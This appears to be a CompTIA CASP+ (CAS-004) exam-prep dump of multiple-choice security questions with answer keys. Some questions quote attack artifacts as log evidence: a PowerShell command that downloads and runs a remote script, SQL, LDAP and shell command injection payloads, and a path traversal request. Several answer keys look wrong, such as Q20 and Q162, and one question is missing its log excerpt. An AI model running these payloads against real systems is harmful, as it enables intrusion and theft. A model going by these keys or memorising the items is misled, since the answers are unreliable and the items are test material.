



CompTIA

Exam Questions CAS-004

CompTIA Advanced Security Practitioner (CASP+) Exam

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NEW QUESTION 1

Which of the following is the BEST disaster recovery solution when resources are running in a cloud environment?

- A. Remote provider BCDR
- B. Cloud provider BCDR
- C. Alternative provider BCDR
- D. Primary provider BCDR

Answer: B

NEW QUESTION 2

A cybersecurity analyst created the following tables to help determine the maximum budget amount the business can justify spending on an improved email filtering system:

Month	Total Emails Received	Total Emails Delivered	Spam Detections	Accounts Compromised	Total Business Loss Account Compromise
January	304	240	62	0	\$0
February	375	314	58	1	\$1000
March	360	289	69	0	\$0
April	281	213	67	1	\$1000
May	331	273	55	2	\$2000
June	721	598	120	6	\$6000

Filter	Yearly Cost	Expected Yearly Spam True Positives	Expected Yearly Account Compromises
ABC	\$18,000	930	1
XYZ	\$16,000	1200	4
GHI	\$22,000	2400	0
TUV	\$19,000	2000	2

Which of the following meets the budget needs of the business?

- A. Filter ABC
- B. Filter XYZ
- C. Filter GHI
- D. Filter TUV

Answer: C

NEW QUESTION 3

An attacker infiltrated an electricity-generation site and disabled the safety instrumented system. Ransomware was also deployed on the engineering workstation. The environment has back-to-back firewalls separating the corporate and OT systems. Which of the following is the MOST likely security consequence of this attack?

- A. A turbine would overheat and cause physical harm.
- B. The engineers would need to go to the historian.
- C. The SCADA equipment could not be maintained.
- D. Data would be exfiltrated through the data diodes.

Answer: A

NEW QUESTION 4

An organization is prioritizing efforts to remediate or mitigate risks identified during the latest assessment. For one of the risks, a full remediation was not possible, but the organization was able to successfully apply mitigations to reduce the likelihood of impact. Which of the following should the organization perform NEXT?

- A. Assess the residual risk.
- B. Update the organization's threat model.
- C. Move to the next risk in the register.
- D. Recalculate the magnitude of impact.

Answer: A

NEW QUESTION 5

After a security incident, a network security engineer discovers that a portion of the company's sensitive external traffic has been redirected through a secondary ISP that is not normally used.

Which of the following would BEST secure the routes while allowing the network to function in the event of a single provider failure?

- A. Disable BGP and implement a single static route for each internal network.
- B. Implement a BGP route reflector.
- C. Implement an inbound BGP prefix list.
- D. Disable BGP and implement OSPF.

Answer: C

Explanation:

Defenses against BGP hijacks include IP prefix filtering, meaning IP address announcements are sent and accepted only from a small set of well-defined autonomous systems, and monitoring Internet traffic to identify signs of abnormal traffic flows.

NEW QUESTION 6

The Chief information Officer (CIO) asks the system administrator to improve email security at the company based on the following requirements:

- * Transaction being requested by unauthorized individuals.
- * Complete discretion regarding client names, account numbers, and investment information.
- * Malicious attackers using email to malware and ransomware.
- * Exfiltration of sensitive company information.

The cloud-based email solution will provide anti-malware reputation-based scanning, signature-based scanning, and sandboxing. Which of the following is the BEST option to resolve the board's concerns for this email migration?

- A. Data loss prevention
- B. Endpoint detection response
- C. SSL VPN
- D. Application whitelisting

Answer: A

NEW QUESTION 7

A vulnerability assessment endpoint generated a report of the latest findings. A security analyst needs to review the report and create a priority list of items that must be addressed. Which of the following should the analyst use to create the list quickly?

- A. Business impact rating
- B. CVE dates
- C. CVSS scores
- D. OVAL

Answer: A

NEW QUESTION 8

Due to locality and budget constraints, an organization's satellite office has a lower bandwidth allocation than other offices in the organization. As a result, the local security infrastructure staff is assessing architectural options that will help preserve network bandwidth and increase speed to both internal and external resources while not sacrificing threat visibility.

Which of the following would be the BEST option to implement?

- A. Distributed connection allocation
- B. Local caching
- C. Content delivery network
- D. SD-WAN vertical heterogeneity

Answer: C

NEW QUESTION 9

A security engineer is hardening a company's multihomed SFTP server. When scanning a public-facing network interface, the engineer finds the following ports are open:

22
25
110
137
138
139
445

Internal Windows clients are used to transferring files to the server to stage them for customer download as part of the company's distribution process.

Which of the following would be the BEST solution to harden the system?

- A. Close ports 110, 138, and 139. Bind ports 22, 25, and 137 to only the internal interface.
- B. Close ports 25 and 110. Bind ports 137, 138, 139, and 445 to only the internal interface.
- C. Close ports 22 and 139. Bind ports 137, 138, and 445 to only the internal interface.
- D. Close ports 22, 137, and 138. Bind ports 110 and 445 to only the internal interface.

Answer: A

NEW QUESTION 10

A company is outsourcing to an MSSP that performs managed detection and response services. The MSSP requires a server to be placed inside the network as a log aggregate and allows remote access to MSSP analyst. Critical devices send logs to the log aggregator, where data is stored for 12 months locally before being archived to a multitenant cloud. The data is then sent from the log aggregate to a public IP address in the MSSP datacenter for analysis.

A security engineer is concerned about the security of the solution and notes the following.

- * The critical device send cleartext logs to the aggregator.
- * The log aggregator utilize full disk encryption.
- * The log aggregator sends to the analysis server via port 80.
- * MSSP analysis utilize an SSL VPN with MFA to access the log aggregator remotely.
- * The data is compressed and encrypted prior to being archived in the cloud. Which of the following should be the engineer's GREATEST concern?

- A. Hardware vulnerabilities introduced by the log aggregate server
- B. Network bridging from a remote access VPN
- C. Encryption of data in transit
- D. Multitenancy and data remnants in the cloud

Answer: C

NEW QUESTION 10

An e-commerce company is running a web server on premises, and the resource utilization is usually less than 30%. During the last two holiday seasons, the server experienced performance issues because of too many connections, and several customers were not able to finalize purchase orders. The company is looking to change the server configuration to avoid this kind of performance issue.

Which of the following is the MOST cost-effective solution?

- A. Move the server to a cloud provider.
- B. Change the operating system.
- C. Buy a new server and create an active-active cluster.
- D. Upgrade the server with a new one.

Answer: A

NEW QUESTION 11

A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString ('https://content.comptia.org/casp/whois.ps1');whois

Which of the following security controls would have alerted and prevented the next phase of the attack?

- A. Antivirus and UEBA
- B. Reverse proxy and sandbox
- C. EDR and application approved list
- D. Forward proxy and MFA

Answer: C

Explanation:

An EDR and whitelist should protect from this attack.

NEW QUESTION 12

A security analyst is performing a vulnerability assessment on behalf of a client. The analyst must define what constitutes a risk to the organization.

Which of the following should be the analyst's FIRST action?

- A. Create a full inventory of information and data assets.
- B. Ascertain the impact of an attack on the availability of crucial resources.
- C. Determine which security compliance standards should be followed.
- D. Perform a full system penetration test to determine the vulnerabilities.

Answer: A

NEW QUESTION 17

A software house is developing a new application. The application has the following requirements: Reduce the number of credential requests as much as possible
Integrate with social networks
Authenticate users

Which of the following is the BEST federation method to use for the application?

- A. WS-Federation
- B. OpenID
- C. OAuth
- D. SAML

Answer: D

NEW QUESTION 20

An auditor is reviewing the logs from a web application to determine the source of an incident. The web application architecture includes an Internet-accessible application load balancer, a number of web servers in a private subnet, application servers, and one database server in a tiered configuration. The application load balancer cannot store the logs. The following are sample log snippets:

Web server logs

```
192.168.1.10 - - [24/Oct/2020 11:24:34 +05:00] "GET ../../../../bin/bash" HTTP/1.1" 200 453 Safari/536.36
192.168.1.10 - - [24/Oct/2020 11:24:35 +05:00] "/" HTTP/1.1" 200 453 Safari/536.36
```

Application server logs

```
14/Oct/2020 11:24:34 +05:00 - 192.168.2.11 - request does not match a known local user. Querying DB
14/Oct/2020 11:24:35 +05:00 - 192.168.2.12 - root path. Begin processing
```

Database server logs

```
14/Oct/2020 11:24:34 +05:00 [Warning] 'option read_buffer_size' unassigned value 0 adjusted to 2048
14/Oct/2020 11:24:35 +05:00 [Warning] CA certificate ca.pem is self signed.
```

Which of the following should the auditor recommend to ensure future incidents can be traced back to the sources?

- A. Enable the x-Forwarded-For header at the load balancer.
- B. Install a software-based HIDS on the application servers.
- C. Install a certificate signed by a trusted CA.
- D. Use stored procedures on the database server.
- E. Store the value of the \$_server (' REMOTE_ADDR '] received by the web servers.

Answer: C

NEW QUESTION 22

A high-severity vulnerability was found on a web application and introduced to the enterprise. The vulnerability could allow an unauthorized user to utilize an open-source library to view privileged user information. The enterprise is unwilling to accept the risk, but the developers cannot fix the issue right away. Which of the following should be implemented to reduce the risk to an acceptable level until the issue can be fixed?

- A. Scan the code with a static code analyzer, change privileged user passwords, and provide security training.
- B. Change privileged usernames, review the OS logs, and deploy hardware tokens.
- C. Implement MFA, review the application logs, and deploy a WAF.
- D. Deploy a VPN, configure an official open-source library repository, and perform a full application review for vulnerabilities.

Answer: C

NEW QUESTION 24

Leveraging cryptographic solutions to protect data that is in use ensures the data is encrypted:

- A. when it is passed across a local network.
- B. in memory during processing
- C. when it is written to a system's solid-state drive.
- D. by an enterprise hardware security module.

Answer: B

NEW QUESTION 28

A large telecommunications equipment manufacturer needs to evaluate the strengths of security controls in a new telephone network supporting first responders. Which of the following techniques would the company use to evaluate data confidentiality controls?

- A. Eavesdropping
- B. On-path
- C. Cryptanalysis
- D. Code signing
- E. RF sidelobe sniffing

Answer: A

NEW QUESTION 32

A company's finance department acquired a new payment system that exports data to an unencrypted file on the system. The company implemented controls on the file so only appropriate personnel are allowed access. Which of the following risk techniques did the department use in this situation?

- A. Accept
- B. Avoid
- C. Transfer
- D. Mitigate

Answer: D

NEW QUESTION 36

Company A is establishing a contractual with Company B. The terms of the agreement are formalized in a document covering the payment terms, limitation of liability, and intellectual property rights. Which of the following documents will MOST likely contain these elements

- A. Company A-B SLA v2.docx
- B. Company A OLA v1b.docx
- C. Company A MSA v3.docx
- D. Company A MOU v1.docx
- E. Company A-B NDA v03.docx

Answer: A

NEW QUESTION 40

A security engineer at a company is designing a system to mitigate recent setbacks caused competitors that are beating the company to market with the new products. Several of the products incorporate propriety enhancements developed by the engineer's company. The network already includes a SEIM and a NIPS and requires 2FA for all user access. Which of the following system should the engineer consider NEXT to mitigate the associated risks?

- A. DLP
- B. Mail gateway
- C. Data flow enforcement
- D. UTM

Answer: A

NEW QUESTION 41

A help desk technician just informed the security department that a user downloaded a suspicious file from internet explorer last night. The user confirmed accessing all the files and folders before going home from work. the next morning, the user was no longer able to boot the system and was presented a screen with a phone number. The technician then tries to boot the computer using wake-on-LAN, but the system would not come up. which of the following explains why the computer would not boot?

- A. The operating system was corrupted.
- B. SELinux was in enforced status.

- C. A secure boot violation occurred.
- D. The disk was encrypted.

Answer: A

NEW QUESTION 43

A company created an external application for its customers. A security researcher now reports that the application has a serious LDAP injection vulnerability that could be leveraged to bypass authentication and authorization.

Which of the following actions would BEST resolve the issue? (Choose two.)

- A. Conduct input sanitization.
- B. Deploy a SIEM.
- C. Use containers.
- D. Patch the OS
- E. Deploy a WAF.
- F. Deploy a reverse proxy
- G. Deploy an IDS.

Answer: AE

Explanation:

A WAF protects your web apps by filtering, monitoring, and blocking any malicious HTTP/S traffic traveling to the web application, and prevents any unauthorized data from leaving the app. It does this by adhering to a set of policies that help determine what traffic is malicious and what traffic is safe.

NEW QUESTION 44

A cybersecurity analyst discovered a private key that could have been exposed.

Which of the following is the BEST way for the analyst to determine if the key has been compromised?

- A. HSTS
- B. CRL
- C. CSRs
- D. OCSP

Answer: C

NEW QUESTION 46

Ransomware encrypted the entire human resources fileshare for a large financial institution. Security operations personnel were unaware of the activity until it was too late to stop it. The restoration will take approximately four hours, and the last backup occurred 48 hours ago. The management team has indicated that the RPO for a disaster recovery event for this data classification is 24 hours.

Based on RPO requirements, which of the following recommendations should the management team make?

- A. Leave the current backup schedule intact and pay the ransom to decrypt the data.
- B. Leave the current backup schedule intact and make the human resources fileshare read-only.
- C. Increase the frequency of backups and create SIEM alerts for IOCs.
- D. Decrease the frequency of backups and pay the ransom to decrypt the data.

Answer: C

NEW QUESTION 50

A company is repeatedly being breached by hackers who valid credentials. The company's Chief information Security Officer (CISO) has installed multiple controls for authenticating users, including biometric and token-based factors. Each successive control has increased overhead and complexity but has failed to stop further breaches. An external consultant is evaluating the process currently in place to support the authentication controls. Which of the following recommendation would MOST likely reduce the risk of unauthorized access?

- A. Implement strict three-factor authentication.
- B. Implement least privilege policies
- C. Switch to one-time or all user authorizations.
- D. Strengthen identify-proofing procedures

Answer: A

NEW QUESTION 53

A security engineer has been asked to close all non-secure connections from the corporate network. The engineer is attempting to understand why the corporate UTM will not allow users to download email via IMAPS. The engineer formulates a theory and begins testing by creating the firewall ID 58, and users are able to download emails correctly by using IMAP instead. The network comprises three VLANs:

- VLAN 30	Guest networks	192.168.20.0/25
- VLAN 20	Corporate user network	192.168.0.0/28
- VLAN 110	Corporate server network	192.168.0.16/29

The security engineer looks at the UTM firewall rules and finds the following:

Rule active	Firewall ID	Source	Destination	Ports	Action	TLS decryption
Yes	58	VLAN 20	15.22.33.45	143	Allow and log	Enabled
Yes	33	VLAN 30	Any	80, 443,	Allow and log	Disabled
Yes	22	VLAN 110	VLAN 20	Any	Allow and log	Disabled
No	21	VLAN 20	15.22.33.45	990	Allow and log	Disabled
Yes	20	VLAN 20	VLAN 110	Any	Allow and log	Enabled
Yes	19	VLAN 20	Any	993, 587	Allow and log	Enabled

Which of the following should the security engineer do to ensure IMAPS functions properly on the corporate user network?

- A. Contact the email service provider and ask if the company IP is blocked.
- B. Confirm the email server certificate is installed on the corporate computers.
- C. Make sure the UTM certificate is imported on the corporate computers.
- D. Create an IMAPS firewall rule to ensure email is allowed.

Answer: D

NEW QUESTION 54

Which of the following technologies allows CSPs to add encryption across multiple data storages?

- A. Symmetric encryption
- B. Homomorphic encryption
- C. Data dispersion
- D. Bit splitting

Answer: D

NEW QUESTION 57

A developer is creating a new mobile application for a company. The application uses REST API and TLS 1.2 to communicate securely with the external back-end server. Due to this configuration, the company is concerned about HTTPS interception attacks.

Which of the following would be the BEST solution against this type of attack?

- A. Cookies
- B. Wildcard certificates
- C. HSTS
- D. Certificate pinning

Answer: D

NEW QUESTION 62

An administrator at a software development company would like to protect the integrity Of the company's applications with digital signatures. The developers report that the signing process keeps failing on all applications. The same key pair used for signing, however, is working properly on the website, is valid, and is issued by a trusted CA. Which of the following is MOST likely the cause of the signature failing?

- A. The NTP server is set incorrectly for the developers.
- B. The CA has included the certificate in its CRL_
- C. The certificate is set for the wrong key usage.
- D. Each application is missing a SAN or wildcard entry on the certificate.

Answer: C

NEW QUESTION 67

Which of the following agreements includes no penalties and can be signed by two entities that are working together toward the same goal?

- A. MOU
- B. NDA
- C. SLA
- D. ISA

Answer: A

NEW QUESTION 70

Immediately following the report of a potential breach, a security engineer creates a forensic image of the server in question as part of the organization incident response procedure. Which of the must occur to ensure the integrity of the image?

- A. The image must be password protected against changes.
- B. A hash value of the image must be computed.
- C. The disk containing the image must be placed in a sealed container.
- D. A duplicate copy of the image must be maintained

Answer: B

NEW QUESTION 74

Given the following log snippet from a web server:

```
84.55.41.60- - [19/Apr/2020:07:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1 AND (SELECT 6810 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(6810=6810,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"

84.55.41.60- - [19/Apr/2020:07:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=(SELECT 7505 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(7505=7505,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"

84.55.41.60- - [19/Apr/2020:07:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=(SELECT CONCAT(0x7171787671,(SELECT (ELT(1399=1399,1))),0x71707a7871)) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"

84.55.41.60- - [19/Apr/2020:07:22:27 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1 UNION ALL SELECT CONCAT(0x7171787671,0x537653544175467a724f,0x71707a7871),NULL,NULL-- HTTP/1.1" 200 182 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
```

Which of the following BEST describes this type of attack?

- A. SQL injection
- B. Cross-site scripting
- C. Brute-force
- D. Cross-site request forgery

Answer: A

NEW QUESTION 78

A security analyst is investigating a possible buffer overflow attack. The following output was found on a user's workstation: graphic.linux_randomization.prg

Which of the following technologies would mitigate the manipulation of memory segments?

- A. NX bit
- B. ASLR
- C. DEP
- D. HSM

Answer: B

Explanation:

<https://eklitze.org/memory-protection-and-aslr>

NEW QUESTION 80

Which of the following are risks associated with vendor lock-in? (Choose two.)

- A. The client can seamlessly move data.
- B. The vendor can change product offerings.
- C. The client receives a sufficient level of service.
- D. The client experiences decreased quality of service.
- E. The client can leverage a multicloud approach.
- F. The client experiences increased interoperability.

Answer: BD

NEW QUESTION 82

An organization is deploying a new, online digital bank and needs to ensure availability and performance. The cloud-based architecture is deployed using PaaS and SaaS solutions, and it was designed with the following considerations:

- Protection from DoS attacks against its infrastructure and web applications is in place.
- Highly available and distributed DNS is implemented.
- Static content is cached in the CDN.
- A WAF is deployed inline and is in block mode.
- Multiple public clouds are utilized in an active-passive architecture.

With the above controls in place, the bank is experiencing a slowdown on the unauthenticated payments page. Which of the following is the MOST likely cause?

- A. The public cloud provider is applying QoS to the inbound customer traffic.
- B. The API gateway endpoints are being directly targeted.
- C. The site is experiencing a brute-force credential attack.
- D. A DDoS attack is targeted at the CDN.

Answer: C

NEW QUESTION 84

A company's employees are not permitted to access company systems while traveling internationally. The company email system is configured to block logins based on geographic location, but some employees report their mobile phones continue to sync email traveling. Which of the following is the MOST likely

explanation:? (Select TWO.)

- A. Outdated escalation attack
- B. Privilege escalation attack
- C. VPN on the mobile device
- D. Unrestricted email administrator accounts
- E. Chief use of UDP protocols
- F. Disabled GPS on mobile devices

Answer: CF

NEW QUESTION 88

An auditor needs to scan documents at rest for sensitive text. These documents contain both text and Images. Which of the following software functionalities must be enabled in the DLP solution for the auditor to be able to fully read these documents? (Select TWO).

- A. Document interpolation
- B. Regular expression pattern matching
- C. Optical character recognition functionality
- D. Baseline image matching
- E. Advanced rasterization
- F. Watermarking

Answer: AC

NEW QUESTION 90

A forensic investigator would use the foremost command for:

- A. cloning disks.
- B. analyzing network-captured packets.
- C. recovering lost files.
- D. extracting features such as email addresses

Answer: C

NEW QUESTION 94

An enterprise is undergoing an audit to review change management activities when promoting code to production. The audit reveals the following:

- Some developers can directly publish code to the production environment.
- Static code reviews are performed adequately.
- Vulnerability scanning occurs on a regularly scheduled basis per policy.

Which of the following should be noted as a recommendation within the audit report?

- A. Implement short maintenance windows.
- B. Perform periodic account reviews.
- C. Implement job rotation.
- D. Improve separation of duties.

Answer: D

NEW QUESTION 98

An organization is referencing NIST best practices for BCP creation while reviewing current internal organizational processes for mission-essential items.

Which of the following phases establishes the identification and prioritization of critical systems and functions?

- A. Review a recent gap analysis.
- B. Perform a cost-benefit analysis.
- C. Conduct a business impact analysis.
- D. Develop an exposure factor matrix.

Answer: C

NEW QUESTION 102

During a remodel, a company's computer equipment was moved to a secure storage room with cameras positioned on both sides of the door. The door is locked using a card reader issued by the security team, and only the security team and department managers have access to the room. The company wants to be able to identify any unauthorized individuals who enter the storage room by following an authorized employee.

Which of the following processes would BEST satisfy this requirement?

- A. Monitor camera footage corresponding to a valid access request.
- B. Require both security and management to open the door.
- C. Require department managers to review denied-access requests.
- D. Issue new entry badges on a weekly basis.

Answer: B

NEW QUESTION 106

A security engineer is reviewing a record of events after a recent data breach incident that involved the following:

- A hacker conducted reconnaissance and developed a footprint of the company's Internet-facing web application assets.
- A vulnerability in a third-party library was exploited by the hacker, resulting in the compromise of a local account.
- The hacker took advantage of the account's excessive privileges to access a data store and exfiltrate the data without detection.

Which of the following is the BEST solution to help prevent this type of attack from being successful in the future?

- A. Dynamic analysis
- B. Secure web gateway
- C. Software composition analysis
- D. User behavior analysis
- E. Web application firewall

Answer: B

NEW QUESTION 109

A company plans to build an entirely remote workforce that utilizes a cloud-based infrastructure. The Chief Information Security Officer asks the security engineer to design connectivity to meet the following requirements:

Only users with corporate-owned devices can directly access servers hosted by the cloud provider.

User browser activity can be monitored.

Which of the following solutions would BEST meet these requirements?

- A. IAM gateway, MDM, and reverse proxy
- B. VPN, CASB, and secure web gateway
- C. SSL tunnel, DLP, and host-based firewall
- D. API gateway, UEM, and forward proxy

Answer: B

NEW QUESTION 112

Which of the following allows computation and analysis of data within a ciphertext without knowledge of the plaintext?

- A. Lattice-based cryptography
- B. Quantum computing
- C. Asymmetric cryptography
- D. Homomorphic encryption

Answer: D

NEW QUESTION 113

Based on PCI DSS v3.4, One Particular database field can store data, but the data must be unreadable. which of the following data objects meets this requirement?

- A. PAN
- B. CVV2
- C. Cardholder name
- D. expiration date

Answer: A

NEW QUESTION 116

A security architect works for a manufacturing organization that has many different branch offices. The architect is looking for a way to reduce traffic and ensure the branch offices receive the latest copy of revoked certificates issued by the CA at the organization's headquarters location. The solution must also have the lowest power requirement on the CA.

Which of the following is the BEST solution?

- A. Deploy an RA on each branch office.
- B. Use Delta CRLs at the branches.
- C. Configure clients to use OCSP.
- D. Send the new CRLs by using GPO.

Answer: C

NEW QUESTION 118

A security analyst discovered that the company's WAF was not properly configured. The main web server was breached, and the following payload was found in one of the malicious requests:

```
(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=admin))
```

Which of the following would BEST mitigate this vulnerability?

- A. Network intrusion prevention
- B. Data encoding
- C. Input validation
- D. CAPTCHA

Answer: C

NEW QUESTION 122

A company's product site recently had failed API calls, resulting in customers being unable to check out and purchase products. This type of failure could lead to the loss of customers and damage to the company's reputation in the market.

Which of the following should the company implement to address the risk of system unavailability?

- A. User and entity behavior analytics
- B. Redundant reporting systems
- C. A self-healing system
- D. Application controls

Answer: D

NEW QUESTION 124

A security analyst is validating the MAC policy on a set of Android devices. The policy was written to ensure non-critical applications are unable to access certain resources. When reviewing dmesg, the analyst notes many entries such as:
Despite the deny message, this action was still permit following is the MOST likely fix for this issue?

- A. Add the objects of concern to the default context.
- B. Set the devices to enforcing
- C. Create separate domain and context files for irc.
- D. Rebuild the policy, reinstall, and test.

Answer: B

NEW QUESTION 125

A networking team was asked to provide secure remote access to all company employees. The team decided to use client-to-site VPN as a solution. During a discussion, the Chief Information Security Officer raised a security concern and asked the networking team to route the Internet traffic of remote users through the main office infrastructure. Doing this would prevent remote users from accessing the Internet through their local networks while connected to the VPN. Which of the following solutions does this describe?

- A. Full tunneling
- B. Asymmetric routing
- C. SSH tunneling
- D. Split tunneling

Answer: A

Explanation:

The concern is users operating in a spit tunnel config which is what is being described. Using a Full Tunnel would route traffic from all applications through a single tunnel.

<https://cybernews.com/what-is-vpn/split-tunneling/>

NEW QUESTION 128

A business wants to migrate its workloads from an exclusively on-premises IT infrastructure to the cloud but cannot implement all the required controls. Which of the following BEST describes the risk associated with this implementation?

- A. Loss of governance
- B. Vendor lockout
- C. Compliance risk
- D. Vendor lock-in

Answer: C

NEW QUESTION 130

A company undergoing digital transformation is reviewing the resiliency of a CSP and is concerned about meeting SLA requirements in the event of a CSP incident.

Which of the following would be BEST to proceed with the transformation?

- A. An on-premises solution as a backup
- B. A load balancer with a round-robin configuration
- C. A multicloud provider solution
- D. An active-active solution within the same tenant

Answer: C

Explanation:

An active-active cluster does nothing if the cloud provider goes down. One of the main features of multi-cloud is redundancy.

<https://www.cloudflare.com/learning/cloud/what-is-multicloud/>

NEW QUESTION 134

A user experiences an HTTPS connection error when trying to access an Internet banking website from a corporate laptop. The user then opens a browser on a mobile phone and is able to access the same Internet banking website without issue. Which of the following security configurations is MOST likely the cause of the error?

- A. HSTS
- B. TLS 1.2
- C. Certificate pinning
- D. Client authentication

Answer: A

NEW QUESTION 137

A new web server must comply with new secure-by-design principles and PCI DSS. This includes mitigating the risk of an on-path attack. A security analyst is reviewing the following web server configuration:

```
TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256
TLS_AES_128_GCM_SHA256
TLS_AES_128_CCM_8_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_DSS_WITH_RC4_128_SHA
RSA_WITH_AES_128_CCM
```

Which of the following ciphers should the security analyst remove to support the business requirements?

- A. TLS_AES_128_CCM_8_SHA256
- B. TLS_DHE_DSS_WITH_RC4_128_SHA
- C. TLS_CHACHA20_POLY1305_SHA256
- D. TLS_AES_128_GCM_SHA256

Answer: B

NEW QUESTION 140

A company suspects a web server may have been infiltrated by a rival corporation. The security engineer reviews the web server logs and finds the following:

```
ls -l -a /usr/heimz/public; cat ./config/db.yml
```

The security engineer looks at the code with a developer, and they determine the log entry is created when the following line is run:

```
system ("ls -l -a ${path}")
```

Which of the following is an appropriate security control the company should implement?

- A. Restrict directory permission to read-only access.
- B. Use server-side processing to avoid XSS vulnerabilities in path input.
- C. Separate the items in the system call to prevent command injection.
- D. Parameterize a query in the path variable to prevent SQL injection.

Answer: C

NEW QUESTION 141

A company hired a third party to develop software as part of its strategy to be quicker to market. The company's policy outlines the following requirements:

The credentials used to publish production software to the container registry should be stored in a secure location.

Access should be restricted to the pipeline service account, without the ability for the third-party developer to read the credentials directly.

Which of the following would be the BEST recommendation for storing and monitoring access to these shared credentials?

- A. TPM
- B. Local secure password file
- C. MFA
- D. Key vault

Answer: D

NEW QUESTION 143

The Chief information Officer (CIO) wants to establish a non-binding agreement with a third party that outlines the objectives of the mutual arrangement dealing with data transfers between both organizations before establishing a format partnership. Which of the follow would MOST likely be used?

- A. MOU
- B. OLA
- C. NDA
- D. SLA

Answer: A

NEW QUESTION 144

A security is assisting the marketing department with ensuring the security of the organization's social media platforms. The two main concerns are:

The Chief marketing officer (CMO) email is being used department wide as the username The password has been shared within the department

Which of the following controls would be BEST for the analyst to recommend?

- A. Configure MFA for all users to decrease their reliance on other authentication.
- B. Have periodic, scheduled reviews to determine which OAuth configuration are set for each media platform.
- C. Create multiple social media accounts for all marketing user to separate their actions.
- D. Ensure the password being shared is sufficiently and not written down anywhere.

Answer: A

NEW QUESTION 146

A company's finance department acquired a new payment system that exports data to an unencrypted file on the system. The company implemented controls on the file so only appropriate personnel are allowed access. Which of the following risk techniques did the department use in this situation?

- A. Accept
- B. Avoid
- C. Transfer
- D. Mitigate

Answer: D

NEW QUESTION 151

A local government that is investigating a data exfiltration claim was asked to review the fingerprint of the malicious user's actions. An investigator took a forensic image of the VM and downloaded the image to a secured USB drive to share with the government. Which of the following should be taken into consideration during the process of releasing the drive to the government?

- A. Encryption in transit
- B. Legal issues
- C. Chain of custody
- D. Order of volatility
- E. Key exchange

Answer: C

NEW QUESTION 153

A security engineer thinks the development team has been hard-coding sensitive environment variables in its code. Which of the following would BEST secure the company's CI/CD pipeline?

- A. Utilizing a trusted secrets manager
- B. Performing DAST on a weekly basis
- C. Introducing the use of container orchestration
- D. Deploying instance tagging

Answer: A

NEW QUESTION 154

An organization is researching the automation capabilities for systems within an OT network. A security analyst wants to assist with creating secure coding practices and would like to learn about the programming languages used on the PLCs. Which of the following programming languages is the MOST relevant for PLCs?

- A. Ladder logic
- B. Rust
- C. C
- D. Python
- E. Java

Answer: A

NEW QUESTION 157

A company was recently infected by malware. During the root cause analysis, the company determined that several users were installing their own applications. TO prevent further compromises, the company has decided it will only allow authorized applications to run on its systems. Which Of the following should the company implement?

- A. Signing
- B. Access control
- C. HIPS
- D. Permit listing

Answer: D

NEW QUESTION 162

A security analyst wants to keep track of alt outbound web connections from workstations. The analyst's company uses an on-premises web filtering solution that forwards the outbound traffic to a perimeter firewall. When the security analyst gets the connection events from the firewall, the source IP of the outbound web traffic is the translated IP of the web filtering solution. Considering this scenario involving source NAT, which of the following would be the BEST option to inject in the HTTP header to include the real source IP from workstations?

- A. X-Forwarded-Proto
- B. X-Forwarded-For
- C. Cache-Control
- D. Strict-Transport-Security
- E. Content-Security-Policy

Answer: D

NEW QUESTION 166

The Chief information Security Officer (CISO) of a small locate bank has a compliance requirement that a third-party penetration test of the core banking application must be conducted annually. Which of the following services would fulfill the compliance requirement with the LOWEST resource usage?

- A. Black-box testing
- B. Gray-box testing
- C. Red-team hunting

- D. White-box testing
- E. Blue-learn exercises

Answer: C

NEW QUESTION 171

A company is implementing SSL inspection. During the next six months, multiple web applications that will be separated out with subdomains will be deployed. Which of the following will allow the inspection of the data without multiple certificate deployments?

- A. Include all available cipher suites.
- B. Create a wildcard certificate.
- C. Use a third-party CA.
- D. Implement certificate pinning.

Answer: B

NEW QUESTION 173

A security architect for a large, multinational manufacturer needs to design and implement a security solution to monitor traffic. When designing the solution, which of the following threats should the security architect focus on to prevent attacks against the network?

- A. Packets that are the wrong size or length
- B. Use of any non-DNP3 communication on a DNP3 port
- C. Multiple solicited responses over time
- D. Application of an unsupported encryption algorithm

Answer: C

NEW QUESTION 174

A security architect is reviewing the following proposed corporate firewall architecture and configuration:

DMZ architecture

Internet-----70.54.30.1-[Firewall_A]----192.168.1.0/24----[Firewall_B]----10.0.0.0/16----corporate net

Firewall_A ACL

```
10 PERMIT FROM 0.0.0.0/0 TO 192.168.1.0/24 TCP 80,443
20 DENY FROM 0.0.0.0/0 TO 0.0.0.0/0 TCP/UDP 0-65535
```

Firewall_B ACL

```
10 PERMIT FROM 10.0.0.0/16 TO 192.168.1.0/24 TCP 80,443
20 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP 0-65535
30 PERMIT FROM 192.168.1.0/24 TO $DB_SERVERS TCP/UDP 3306
40 DENY FROM 192.168.1.0/24 TO 10.0.0.0/16 TCP/UDP 0-65535
```

Both firewalls are stateful and provide Layer 7 filtering and routing. The company has the following requirements:
Web servers must receive all updates via HTTP/S from the corporate network. Web servers should not initiate communication with the Internet.
